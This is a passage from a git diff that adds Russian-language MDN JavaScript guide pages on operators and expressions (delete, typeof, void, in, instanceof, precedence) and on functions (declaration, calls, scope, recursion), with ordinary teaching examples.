+<p>После применения оператора <code>delete</code> свойство элемента меняется на <code>undefined</code>. Оператор <code>delete</code> возвращает <code>true</code> если выполнение операции возможно; оператор возвращает <code>false</code>, если выполнение операции невозможно.</p>
+
+<pre class="brush: js">x = 42;
+var y = 43;
+myobj = new Number();
+myobj.h = 4;    // создаём свойство h
+delete x;       // возвращает true (можно удалить переменную объявленную неявно)
+delete y;       // возвращает false (нельзя удалить переменную объявленную с помощью var)
+delete Math.PI; // возвращает false (нельзя удалить встроенные свойства)
+delete myobj.h; // возвращает true (можно удалить пользовательские свойства)
+delete myobj;   // возвращает true (можно удалить объект объявленный неявно)
+</pre>
+
+<h5 id="Удаление_элементов_массива">Удаление элементов массива</h5>
+
+<p>Удаление элемента массива не влияет на длину массива. Например, если вы удалите <code>a[3]</code>, элемент <code>a[4]</code> останется <code>a[4],</code> <code>a[3]</code> станет undefined.</p>
+
+<p>Когда элемент массива удаляется с помощью оператора <code>delete</code>, то из массива удаляется значение данного элемента. В следующем примере элемент <code>trees[3]</code> удален с помощью оператора <code>delete</code>. Однако, элемент <code>trees[3]</code> остается адресуемым и возвращает значение <code>undefined</code>.</p>
+
+<pre class="brush: js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+delete trees[3];
+if (3 in trees) {
+  // условие не выполняется
+}
+</pre>
+
+<p>Если вы хотите, чтобы элемент оставался в массиве, но имел значение undefined, то используйте ключевое слово <code>undefined</code> вместо оператора <code>delete</code>. В следующем примере элементу <code>trees[3]</code> присвоено значение <code>undefined</code>, но элемент при этом остается в массиве:</p>
+
+<pre class="brush: js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+trees[3] = undefined;
+if (3 in trees) {
+  // данный блок кода выполняется
+}
+</pre>
+
+<h4 id="typeof" name="typeof"><code>Оператор typeof</code></h4>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/typeof">Оператор<code> typeof</code></a> используется одним из следующих способов:</p>
+
+<pre class="syntaxbox">typeof operand
+typeof (operand)</pre>
+
+<p>Оператор <code>typeof</code> возвращает строку обозначающую тип невычисленного операнда. Значение <code>operand</code> может быть строкой, переменной, дескриптором, или объектом, тип которого следует определить. Скобки вокруг операнда необязательны.</p>
+
+<p>Предположим, вы определяете следующие переменные:</p>
+
+<pre class="brush: js">var myFun = new Function("5 + 2");
+var shape = "round";
+var size = 1;
+var today = new Date();
+</pre>
+
+<p>Оператор <code>typeof</code> возвращает следующие результаты для этих переменных:</p>
+
+<pre class="brush: js">typeof myFun;     // возвращает "function"
+typeof shape;     // возвращает "string"
+typeof size;      // возвращает "number"
+typeof today;     // возвращает "object"
+typeof dontExist; // возвращает "undefined"
+</pre>
+
+<p>Для дескрипторов <code>true</code> и <code>null</code> оператор <code>typeof</code> возвращает следующие результаты:</p>
+
+<pre class="brush: js">typeof true; // возвращает "boolean"
+typeof null; // возвращает "object"
+</pre>
+
+<p>Для чисел и строк оператор <code>typeof</code> возвращает следующие результаты:</p>
+
+<pre class="brush: js">typeof 62;            // возвращает "number"
+typeof 'Hello world'; // возвращает "string"
+</pre>
+
+<p>Для свойств оператор <code>typeof</code> возвращает тип значения данного свойства:</p>
+
+<pre class="brush: js">typeof document.lastModified; // возвращает "string"
+typeof window.length;         // возвращает "number"
+typeof Math.LN2;              // возвращает "number"
+</pre>
+
+<p>Для методов и функций оператор <code>typeof</code> возвращает следующие результаты:</p>
+
+<pre class="brush: js">typeof blur;        // возвращает "function"
+typeof eval;        // возвращает "function"
+typeof parseInt;    // возвращает "function"
+typeof shape.split; // возвращает "function"
+</pre>
+
+<p>Для встроенных объектов оператор <code>typeof</code> возвращает следующие результаты:</p>
+
+<pre class="brush: js">typeof Date;     // возвращает "function"
+typeof Function; // возвращает "function"
+typeof Math;     // возвращает "object"
+typeof Option;   // возвращает "function"
+typeof String;   // возвращает "function"</pre>
+
+<h4 id="void" name="void"><code>Оператор void</code></h4>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/void">Оператор<code> </code><code>void</code></a> используется любым из следующих способов:</p>
+
+<pre class="syntaxbox">void (expression)
+void expression
+</pre>
+
+<p>Оператор <code>void</code> определяет выражение, которое должно быть вычислено без возвращения результата. <code>expression</code> - это выражение JavaScript, требующее вычисления. Скобки вокруг выражения необязательны, но их использование является правилом хорошего тона.</p>
+
+<p>Вы можете использовать оператор <code>void</code> для указания на то, что операнд-выражение является гипертекстовой ссылкой. При этом выражение обрабатывается, но не загружается в текущий документ.</p>
+
+<p>Следующий код служит примером создания гипертекстовой ссылки, которая бездействует при нажатии на неё пользователем. Когда пользователь нажимает на ссылку, <code>void(0)</code> вычисляется равным <code>undefined</code>, что не приводит ни к каким действиям в JavaScript.</p>
+
+<pre class="brush: html">&lt;A HREF="javascript:void(0)"&gt;Нажмите здесь, чтобы ничего не произошло&lt;/A&gt;
+</pre>
+
+<p>Приведенный ниже код создает гипертекстовую ссылку, которая подтверждает отправку формы при клике на ней пользователем:</p>
+
+<pre class="brush: html">&lt;A HREF="javascript:void(document.form.submit())"&gt;
+Нажмите здесь, чтобы подтвердить отправку формы&lt;/A&gt;</pre>
+
+<h3 id="Операторы_отношения">Операторы отношения</h3>
+
+<p>Оператор отношения сравнивает свои операнды и возвращает результат сравнения в виде булева значения.</p>
+
+<h4 id="Оператор_in"><code>Оператор in</code></h4>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/in">Оператор <code>in</code></a> возвращает true, если указанный объект имеет указанное свойство. Синтаксис оператора:</p>
+
+<pre class="syntaxbox">propNameOrNumber in objectName
+</pre>
+
+<p>где <code>propNameOrNumber</code> - строка или числовое выражение, представляющее имя свойства или индекс массива, а <code>objectName</code> - имя объекта.</p>
+
+<p>Некоторые примеры способов использования оператора <code>in</code>:</p>
+
+<pre class="brush: js">// Массивы
+var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+0 in trees;        // возвращает true
+3 in trees;        // возвращает true
+6 in trees;        // возвращает false
+"bay" in trees;    // возвращает false (следует указать индекс элемента массива,
+                   // а не значение элемента)
+"length" in trees; // возвращает true (length является свойством объекта Array)
+
+// Встроенные объекты
+"PI" in Math;          // возвращает true
+var myString = new String("coral");
+"length" in myString;  // возвращает true
+
+// Пользовательские объекты
+var mycar = {make: "Honda", model: "Accord", year: 1998};
+"make" in mycar;  // возвращает true
+"model" in mycar; // возвращает true
+</pre>
+
+<h4 id="instanceof" name="instanceof">Оператор <code>instanceof</code></h4>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/instanceof">Оператор <code>instanceof</code> </a>возвращает true, если заданный объект является объектом указанного типа. Его синтаксис:</p>
+
+<pre class="syntaxbox">objectName instanceof objectType
+</pre>
+
+<p>где <code>objectName</code> - имя объекта, тип которого необходимо сравнить с <code>objectType</code>, а <code>objectType</code> - тип объекта, например, {{jsxref("Date")}} или {{jsxref("Array")}}.</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Используйте оператор </font>instanceof</code>, когда вам необходимо подтвердить тип объекта во время выполнения программы. Например, при перехвате исключений вы можете создать различные программные переходы для обработки исключений в зависимости от типа обрабатываемого исключения.</p>
+
+<p>Например, следующий код использует оператор <code>instanceof</code> для проверки того, является ли объект <code>theDay</code> объектом типа <code>Date</code>. Так как <code>theDay</code> действительно является объектом типа <code>Date</code>, то программа выполняет код, содержащийся в утверждении <code>if</code>.</p>
+
+<pre class="brush: js">var theDay = new Date(1995, 12, 17);
+if (theDay instanceof Date) {
+  // выполняемый код
+}
+</pre>
+
+<h3 id="Приоритет_операторов">Приоритет операторов</h3>
+
+<p><em>Приоритет</em> операторов определяет порядок их выполнения при вычислении выражения. Вы можете влиять на приоритет операторов с помощью скобок.</p>
+
+<p>Приведенная ниже таблица описывает приоритет операторов от наивысшего до низшего.</p>
+
+<table class="standard-table">
+ <caption>Таблица 3.7 Приоритет операторов</caption>
+ <thead>
+  <tr>
+   <th scope="col">Тип оператора</th>
+   <th scope="col">Операторы</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>свойство объекта</td>
+   <td><code>. []</code></td>
+  </tr>
+  <tr>
+   <td>вызов, создание экземпляра объекта</td>
+   <td><code>() new</code></td>
+  </tr>
+  <tr>
+   <td>отрицание, инкремент</td>
+   <td><code>! ~ - + ++ -- typeof void delete</code></td>
+  </tr>
+  <tr>
+   <td>умножение, деление</td>
+   <td><code>* / %</code></td>
+  </tr>
+  <tr>
+   <td>сложение, вычитание</td>
+   <td><code>+ -</code></td>
+  </tr>
+  <tr>
+   <td>побитовый сдвиг</td>
+   <td><code>&lt;&lt; &gt;&gt; &gt;&gt;&gt;</code></td>
+  </tr>
+  <tr>
+   <td>сравнение, вхождение</td>
+   <td><code>&lt; &lt;= &gt; &gt;= in instanceof</code></td>
+  </tr>
+  <tr>
+   <td>равенство</td>
+   <td><code>== != === !==</code></td>
+  </tr>
+  <tr>
+   <td>битовое-и</td>
+   <td><code>&amp;</code></td>
+  </tr>
+  <tr>
+   <td>битовое-исключающее-или</td>
+   <td><code>^</code></td>
+  </tr>
+  <tr>
+   <td>битовое-или</td>
+   <td><code>|</code></td>
+  </tr>
+  <tr>
+   <td>логическое-и</td>
+   <td><code>&amp;&amp;</code></td>
+  </tr>
+  <tr>
+   <td>логическое-или</td>
+   <td><code>||</code></td>
+  </tr>
+  <tr>
+   <td>условный (тернарный) оператор</td>
+   <td><code>?:</code></td>
+  </tr>
+  <tr>
+   <td>присваивание</td>
+   <td><code>= += -= *= /= %= &lt;&lt;= &gt;&gt;= &gt;&gt;&gt;= &amp;= ^= |=</code></td>
+  </tr>
+  <tr>
+   <td>запятая</td>
+   <td><code>,</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Более подробная версия данной таблицы, содержащая ссылки и дополнительную информацию по каждому оператору, находится в <a href="/ru/docs/Web/JavaScript/Reference/Operators/Operator_Precedence#Table">справочнике JavaScript</a>.</p>
+
+<h2 id="Выражения">Выражения</h2>
+
+<p><em>Выражением </em>является любой корректный блок кода, который возвращает значение.</p>
+
+<p>Концептуально, существуют два типа выражений: те которые присваивают переменной значение, и те, которые вычисляют значение без его присваивания.</p>
+
+<p>Выражение <code>x = 7</code>  является примером выражения первого типа. Данное выражение использует <em>оператор</em> = для присваивания переменной<span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">x </code><span style="line-height: 1.5;">значения 7</span><span style="line-height: 1.5;">. Само выражение также равняется 7.</span></p>
+
+<p>Код <code>3 + 4</code> является примером выражения второго типа. Данное выражение использует  <em>оператор</em><span style="line-height: 1.5;"> "+" для сложения чисел 3 и 4 без присваивания переменной полученного результата 7.</span></p>
+
+<p>Все выражения в JavaScript делятся на следующие категории:</p>
+
+<ul>
+ <li><strong>Арифметические</strong>: вычисляются в число, например: 3.14159 (Используют {{ web.link("#Arithmetic_operators", "арифметические операторы") }}).</li>
+ <li><strong>Строковые</strong>: вычисляются в текстовую строку, например: "Fred" или "234" (Используют {{ web.link("#String_operators", "строковые операторы") }}).</li>
+ <li><strong>Логические</strong>: вычисляются в true или false (Используют {{ web.link("#Logical_operators", "логические операторы") }}).</li>
+ <li><strong>Основные выражения</strong>: Базовые ключевые слова и основные выражения в JavaScript.</li>
+ <li><strong>Левосторонние выражения</strong>: Значениям слева назначаются значения справа.</li>
+</ul>
+
+<h3 id="Основные_выражения">Основные выражения</h3>
+
+<p>Базовые ключевые слова и основные выражения в JavaScript.</p>
+
+<h4 id="this" name="this">Оператор <code>this</code></h4>
+
+<p>Используйте ключевое слово <code>this</code> для указания на текущий объект. В общем случае <code>this</code> указывает на вызываемый объект, которому принадлежит данный метод. Используйте <code>this</code> следующим образом:</p>
+
+<pre class="syntaxbox">this["propertyName"]
+this.propertyName
+</pre>
+
+<p>Предположим, функция <code>validate</code> выполняет проверку свойства <code>value</code> некоторого объекта; задан объект, а также верхняя и нижняя граница величины данного свойства:</p>
+
+<pre class="brush: js">function validate(obj, lowval, hival){
+  if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+    alert("Неверное значение!");
+}
+</pre>
+
+<p>Вы можете вызвать функцию <code>validate</code> для обработчика события <code>onChange</code> для каждого элемента формы, используя <code>this</code> для указания на элемент формы, как это показано в следующем примере:</p>
+
+<pre class="brush: html">&lt;B&gt;Введите число от 18 до 99:&lt;/B&gt;
+&lt;INPUT TYPE="text" NAME="age" SIZE=3
+   onChange="validate(this, 18, 99);"&gt;
+</pre>
+
+<h4 id="Оператор_группировки">Оператор группировки</h4>
+
+<p>Оператор группировки <code>"скобки" ( )</code> контролирует приоритет вычисления выражений. Например, вы можете переопределить порядок - "умножение и деление, а потом сложение и вычитание", так чтобы, например, чтобы сложение выполнялось до умножения:</p>
+
+<pre class="brush: js">var a = 1;
+var b = 2;
+var c = 3;
+
+// обычный порядок
+a + b * c     // 7
+// выполняется, как обычно, так
+a + (b * c)   // 7
+
+// теперь поменяем порядок
+// сложение до умножения
+(a + b) * c   // 9
+
+// что эквивалентно следующему
+a * c + b * c // 9</pre>
+
+<h4 id="Упрощенный_синтаксис_создания_массивов_и_генераторов">Упрощенный синтаксис создания массивов и генераторов</h4>
+
+<p>Упрощенный синтаксис - экспериментальная возможность JavaScript, которая возможно будет добавлена в будущие версии ECMAScript. Есть 2 версии синтаксиса:</p>
+
+<dl>
+ <dt>{{experimental_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}</dt>
+ <dd>Упрощенный синтаксис для массивов.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}</dt>
+ <dd>Упрощенный синтаксис для генераторов.</dd>
+</dl>
+
+<p>Упрощенные синтаксисы существуют во многих языках программирования и позволяют вам быстро собирать новый массив, основанный на существующем. Например:</p>
+
+<pre class="brush: js">[for (i of [ 1, 2, 3 ]) i*i ];
+// [ 1, 4, 9 ]
+
+var abc = [ "A", "B", "C" ];
+[for (letters of abc) letters.toLowerCase()];
+// [ "a", "b", "c" ]</pre>
+
+<h3 id="Левосторонние_выражения">Левосторонние выражения</h3>
+
+<p>Значениям слева назначаются значения справа.</p>
+
+<h4 id="new" name="new"><code>new</code></h4>
+
+<p>Вы можете использовать <a href="/ru/docs/Web/JavaScript/Reference/Operators/new">оператор <code>new</code></a> для создания экземпляра объекта пользовательского типа или одного из встроенных объектов. Используйте оператор <code>new</code> следующим образом:</p>
+
+<pre class="brush: js">var objectName = new objectType([param1, param2, ..., paramN]);
+</pre>
+
+<h4 id="super">super</h4>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/super">Ключевое слово</a> используется, чтобы вызывать функции родительского объекта. Это полезно и с <a href="/ru/docs/Web/JavaScript/Reference/Classes">классами</a> для вызова конструктора родителя, например.</p>
+
+<pre class="brush: js">super([arguments]); // вызывает конструктор родителя. super.functionOnParent([arguments]);</pre>
+
+<h4 id="Оператор_расширения">Оператор расширения</h4>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Spread_operator">Оператор расширения</a> позволяет выражению расширяться в местах с множеством аргументов (для вызовов функций) или множестве элементов (для массивов).</p>
+
+<p><strong>Пример:</strong> Сегодня, если у вас есть массив и вы хотите создать новый с существующей частью первого, то литерального синтаксиса массива уже не достаточно, и вы должны писать императивный (без вариантов) код, используя комбинацию <code>push</code>, <code>splice</code>, <code>concat</code> и т.д. Но с этим оператором код становится более коротким:</p>
+
+<pre class="brush: js">var parts = ['shoulder', 'knees'];
+var lyrics = ['head', ...parts, 'and', 'toes'];</pre>
+
+<p>Похожим образом оператор работает с вызовами функций:</p>
+
+<pre class="brush: js">function f(x, y, z) { }
+var args = [0, 1, 2];
+f(...args);</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}</p>
+
+<h3 id="sect1"> </h3>
+
+<h2 id="sect2"> </h2>
+
+<ul>
+</ul>
diff --git a/files/ru/web/javascript/guide/functions/index.html b/files/ru/web/javascript/guide/functions/index.html
new file mode 100644
index 0000000000..5e487e354d
--- /dev/null
+++ b/files/ru/web/javascript/guide/functions/index.html
@@ -0,0 +1,669 @@
+---
+title: Функции
+slug: Web/JavaScript/Guide/Functions
+tags:
+  - Основы
+  - Функции
+translation_of: Web/JavaScript/Guide/Functions
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</div>
+
+<h2 id="Функции_в_JavaScript">Функции в JavaScript</h2>
+
+<p>Функции - ключевая концепция в JavaScript. Важнейшей особенностью языка является {{interwiki("wikipedia", "Функции_первого_класса", "первоклассная поддержка функций")}}​ <em>(functions as first-class citizen)</em>. Любая <strong>функция это объект,</strong> и следовательно ею можно манипулировать как объектом, в частности:</p>
+
+<ul>
+ <li>передавать как аргумент и возвращать в качестве результата при вызове других функций ({{interwiki("wikipedia", "Функция_высшего_порядка", "функций высшего порядка")}});</li>
+ <li>создавать анонимно и присваивать в качестве значений переменных или свойств объектов.</li>
+</ul>
+
+<p>Это определяет высокую выразительную мощность JavaScript и позволяет относить его к числу языков, реализующих {{interwiki("wikipedia", "Функциональное_программирование", "функциональную парадигму программирования")}} (что само по себе есть очень круто по многим соображениям).</p>
+
+<p><strong>Функция в JavaScript</strong> специальный тип объектов, позволяющий формализовать средствами языка определённую логику поведения и обработки данных.</p>
+
+<p>Для понимания работы функций необходимо (и достаточно?) иметь представление о следующих моментах:</p>
+
+<ul>
+ <li>способы <a href="#definition">объявления</a></li>
+ <li>способы <a href="#call">вызова</a></li>
+ <li>параметры и аргументы вызова (<code>arguments</code>)</li>
+ <li>область данных (<code>Scope</code>) и замыкания (<code>Closures</code>)</li>
+ <li>объект привязки (<code>this</code>)</li>
+ <li>возвращаемое значение (<code>return</code>)</li>
+ <li>исключения (<code>throw</code>)</li>
+ <li>использование в качестве конструктора объектов</li>
+ <li>сборщик мусора (<code>garbage collector</code>)</li>
+</ul>
+
+<h2 id="Объявление_функций"><a id="definition" name="definition"></a>Объявление функций</h2>
+
+<h3 id="Функции_вида_function_declaration_statement">Функции вида "function declaration statement"</h3>
+
+<p>Объявление функции (<em>function definition</em>, или <em>function declaration</em>, или <em>function statement</em>) состоит из ключевого слова <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/function">function</a></code> и следующих частей:</p>
+
+<ul>
+ <li>Имя функции.</li>
+ <li>Список параметров (принимаемых функцией) заключенных в круглые скобки <code>()</code> и разделенных запятыми.</li>
+ <li>Инструкции, которые будут выполненны после вызова функции, заключают в фигурные скобки <code>{ }</code>.</li>
+</ul>
+
+<p>Например, следующий код объявляет простую функцию с именем <code>square:</code></p>
+
+<pre class="brush: js">function square(number) {
+  return number * number;
+}
+</pre>
+
+<p>Функция <code>square</code> принимает один параметр, названный <code>number.</code> Состоит из одной инструкции, которая означает вернуть параметр этой функции (это <code>number</code>) умноженный на самого себя. Инструкция <a href="/ru/docs/Web/JavaScript/Reference/Statements/return">return</a> указывает на значение, которые будет возвращено функцией.</p>
+
+<pre class="brush: js">return number * number;
+</pre>
+
+<p>Примитивные параметры (например, число) передаются функции значением; <strong>значение</strong> передаётся в функцию, но если функция меняет значение параметра,<strong> это изменение не отразится глобально или после вызова функции.</strong></p>
+
+<p>Если Вы передадите объект как параметр (не примитив, например, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="The JavaScript Array object is a global object that is used in the construction of arrays; which are high-level, list-like objects.">массив</a></code> или определяемые пользователем объекты), и функция изменит свойство переданного в неё объекта, это изменение будет видно и вне функции, как показано в следующим примере:</p>
+
+<pre class="brush: js">function myFunc(theObject) {
+  theObject.make = 'Toyota';
+}
+
+var mycar = {make: 'Honda', model: 'Accord', year: 1998};
+var x, y;
+
+x = mycar.make; // x получает значение "Honda"
+
+myFunc(mycar);
+y = mycar.make; // y получает значение "Toyota"
+                // (свойство было изменено функцией)
+</pre>
+
+<h3 id="Функции_вида_function_definition_expression">Функции вида "function definition expression"</h3>
+
+<p>Функция вида "function declaration statement" по синтаксису является инструкцией (<em>statement</em>), ещё функция может быть вида "function definition  expression". Такая функция может быть <strong>анонимной</strong> (она не имеет имени). Например, функция <code>square</code> может быть вызвана так:</p>
+
+<pre class="brush: js">var square = function(number) { return number * number; };
+var x = square(4); // x получает значение 16
+</pre>
+
+<p>Однако, имя может быть и присвоено для вызова самой себя внутри самой функции и для отладчика (<em>debugger</em>) для идентифицирования функции в стек-треках (<em>stack traces</em>; "trace" — "след" / "отпечаток").</p>
+
+<pre class="brush: js">var factorial = function fac(n) { return n &lt; 2 ? 1 : n * fac(n - 1); };
+
+console.log(factorial(3));
+</pre>
+
+<p>Функции вида "function definition expression" удобны, когда функция передается аргументом другой функции. Следующий пример показывает функцию <code>map</code>, которая должна получить функцию первым аргументом и массив вторым.</p>
+
+<pre class="brush: js">function map(f, a) {
+  var result = [], // Create a new Array
+      i;
+  for (i = 0; i != a.length; i++)
+    result[i] = f(a[i]);
+  return result;
+}
+</pre>
+
+<p>В следующим коде наша функция принимает функцию, которая является function definition expression, и выполняет его для каждого элемента принятого массива вторым аргументом.</p>
+
+<pre class="brush: js">function map(f, a) {
+  var result = []; // Create a new Array
+  var i; // Declare variable
+  for (i = 0; i != a.length; i++)
+    result[i] = f(a[i]);
+      return result;
+}
+var f = function(x) {
+   return x * x * x;
+}
+var numbers = [0, 1, 2, 5, 10];
+var cube = map(f,numbers);
+console.log(cube);</pre>
+
+<p>Функция возвращает: [0, 1, 8, 125, 1000].</p>
+
+<p>В JavaScript функция может быть объявлена с условием. Например, следующая функция будет присвоена переменной <code>myFunc</code> только, если <code>num</code> равно 0: </p>
+
+<pre class="brush: js">var myFunc;
+if (num === 0) {
+  myFunc = function(theObject) {
+    theObject.make = 'Toyota';
+  }
+}</pre>
+
+<p>В дополнение к объявлениям функций, описанных здесь, Вы также можете использовать конструктор <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function">Function</a> для создания функций из строки во время выполнения (<em>runtime</em>), подобно <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/eval" title="The eval() method evaluates JavaScript code represented as a string."><code>eval()</code></a>.</p>
+
+<p><strong>Метод</strong> — это функция, которая является свойством объекта. Узнать больше про объекты и методы можно по ссылке: <a href="/ru/docs/Web/JavaScript/Guide/Working_with_Objects">Работа с объектами</a>.</p>
+
+<h2 id="Вызовы_функций"><a id="call" name="call"></a>Вызовы функций</h2>
+
+<p>Объявление функции не выполняет её. Объявление функции просто называет функцию и указывает, что делать при вызове функции.</p>
+
+<p><strong>Вызов</strong> функции фактически выполняет указанные действия с указанными параметрами. Например, если Вы определите функцию <code>square</code>, Вы можете вызвать её следующим образом:</p>
+
+<pre class="brush: js">square(5);</pre>
+
+<p>Эта инструкция вызывает функцию с аргументом 5. Функция вызывает свои инструкции и возвращает значение 25.</p>
+
+<p>Функции могут быть в области видимости, когда они уже определены, но функции вида "function declaration statment" могут быть подняты (<em><a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/%D0%9F%D0%BE%D0%B4%D0%BD%D1%8F%D1%82%D0%B8%D0%B5">поднятие </a>—</em> <em>hoisting</em>), также как в этом примере:</p>
+
+<pre class="brush: js">console.log(square(5));
+/* ... */
+function square(n) { return n * n; }</pre>
+
+<p>Область видимости функции — функция, в котором она определена, или целая программа, если она объявлена по уровню выше.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Это работает только тогда, когда объявлении функции использует вышеупомянутый синтаксис (т.е. <code>function funcName(){}</code>). Код ниже не будет работать. Имеется в виду то, что поднятие функции работает только с function declaration и не работает с function expression.</p>
+</div>
+
+<pre class="brush: js example-bad">console.log(square); // square поднят со значением undefined.
+console.log(square(5)); // TypeError: square is not a function
+var square = function(n) {
+  return n * n;
+}</pre>
+
+<p>Аргументы функции не ограничиваются строками и числами. Вы можете передавать целые объекты в функцию. Функция <code>show_props()</code> (объявленная в <a href="/ru/docs/Web/JavaScript/Guide/Working_with_Objects">Работа с объектами</a>) является примером функции, принимающей объекты аргументом.</p>
+
+<p>Функция может вызвать саму себя. Например, вот функция рекурсивного вычисления факториала:</p>
+
+<pre class="brush: js">function factorial(n) {
+  if ((n === 0) || (n === 1))
+    return 1;
+  else
+    return (n * factorial(n - 1));
+}
+</pre>
+
+<p>Затем вы можете вычислить факториалы от одного до пяти следующим образом:</p>
+
+<pre class="brush: js">var a, b, c, d, e;
+a = factorial(1); // a gets the value 1
+b = factorial(2); // b gets the value 2
+c = factorial(3); // c gets the value 6
+d = factorial(4); // d gets the value 24
+e = factorial(5); // e gets the value 120
+</pre>
+
+<p>Есть другие способы вызвать функцию. Существуют частые случаи, когда функции необходимо вызывать динамически, или поменять номера аргументов функции, или необходимо вызвать функцию с привязкой к определенному контексту. Оказывается, что функции сами по себе являются объектами, и эти объекты в свою очередь имеют методы (посмотрите объект <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function" title="The Function constructor creates a new Function object. Calling the constructor directly can create functions dynamically, but suffers from security and similar (but far less significant) performance issues similar to eval. However, unlike eval, the Function constructor allows executing code in the global scope, prompting better programming habits and allowing for more efficient code minification."><code>Function</code></a>). Один из них это метод <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="The apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object).">apply()</a></code>, использование которого может достигнуть этой цели.</p>
+
+<h2 id="Область_видимости_функций"><a id="definition" name="definition"></a>Область видимости функций</h2>
+
+<p><u><em>(function scope)</em></u></p>
+
+<p>Переменные объявленные в функции не могут быть доступными где-нибудь вне этой функции, поэтому переменные (которые нужны именно для функции) объявляют только в scope функции. При этом функция имеет доступ ко всем переменным и функциям, объявленным внутри её scope. Другими словами функция объявленная в глобальном scope имеет доступ ко всем переменным в глобальном scope. Функция объявленная внутри другой функции ещё имеет доступ и ко всем переменным её родителькой функции и другим переменным, к которым эта родительская функция имеет доступ.</p>
+
+<pre class="brush: js">// Следующие переменные объявленны в глобальном scope
+var num1 = 20,
+    num2 = 3,
+    name = 'Chamahk';
+
+// Эта функция объявленна в глобальном scope
+function multiply() {
+  return num1 * num2;
+}
+
+multiply(); // вернет 60
+
+// Пример вложенной функции
+function getScore() {
+  var num1 = 2,
+      num2 = 3;
+
+  function add() {
+    return name + ' scored ' + (num1 + num2);
+  }
+
+  return add();
+}
+
+getScore(); // вернет "Chamahk scored 5"
+</pre>
+
+<h2 id="Scope_и_стек_функции"><a id="definition" name="definition"></a>Scope и стек функции</h2>
+
+<p><em><u>(function stack)</u></em></p>
+
+<h3 id="Рекурсия">Рекурсия</h3>
+
+<p>Функция может вызывать саму себя. Три способа такого вызова:</p>
+
+<ol>
+ <li>по имени функции</li>
+ <li><code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code></li>
+ <li>по переменной, которая ссылается на функцию</li>
+</ol>
+
+<p>Для примера рассмотрим следующие функцию:</p>
+
+<pre class="brush: js">var foo = function bar() {
+   // statements go here
+};</pre>
+
+<p>Внутри функции (<em>function body</em>) все следующие вызовы эквивалентны:</p>
+
+<ol>
+ <li><code>bar()</code></li>
+ <li><code>arguments.callee()</code></li>
+ <li><code>foo()</code></li>
+</ol>
+
+<p>Функция, которая вызывает саму себя, называется <em>рекурсивной функцией</em> (<em>recursive function</em>). Получается, что рекурсия аналогична циклу (<em>loop</em>). Оба вызывают некоторый код несколько раз, и оба требуют условия (чтобы избежать бесконечного цикла, вернее бесконечной рекурсии). Например, следующий цикл:</p>
+
+<pre class="brush: js">var x = 0;
+while (x &lt; 10) { // "x &lt; 10" — это условие для цикла
+   // do stuff
+   x++;
+}</pre>
+
+<p>можно было изменить на рекурсивную функцию и вызовом этой функции:</p>
+
+<pre class="brush: js">function loop(x) {
+  if (x &gt;= 10) // "x &gt;= 10" — это условие для конца выполения (тоже самое, что "!(x &lt; 10)")
+    return;
+  // делать что-то
+  loop(x + 1); // рекурсионный вызов
+}
+loop(0);
+</pre>
+
+<p>Однако некоторые алгоритмы не могут быть простыми повторяющимися циклами. Например, получение всех элементов структуры дерева (например, <a href="https://developer.mozilla.org/ru/docs/DOM">DOM</a>) проще всего реализуется использованием рекурсии:</p>
+
+<pre class="brush: js">function walkTree(node) {
+  if (node == null) //
+    return;
+  // что-то делаем с элементами
+  for (var i = 0; i &lt; node.childNodes.length; i++) {
+    walkTree(node.childNodes[i]);
+  }
+}</pre>
+
+<p>В сравнении с функцией <code>loop</code>, каждый рекурсивный вызов сам вызывает много рекурсивных вызовов.</p>
+
+<p>Также возможно превращение некоторых рекурсивных алгоритмов в нерекурсивные, но часто их логика очень сложна, и для этого потребуется использование стека (<em>stack</em>). По факту рекурсия использует stack: function stack.</p>
+
+<p>Поведение stack'а можно увидеть в следующем примере:</p>
+
+<pre class="brush: js">function foo(i) {
+  if (i &lt; 0)
+    return;
+  console.log('begin: ' + i);
+  foo(i - 1);
+  console.log('end: ' + i);
+}
+foo(3);
+
+// Output:
+
+// begin: 3
+// begin: 2
+// begin: 1
+// begin: 0
+// end: 0
+// end: 1
+// end: 2
+// end: 3</pre>
+
+<h3 id="Вложенные_функции_nested_functions_и_замыкания_closures">Вложенные функции (nested functions) и замыкания (closures)</h3>
+
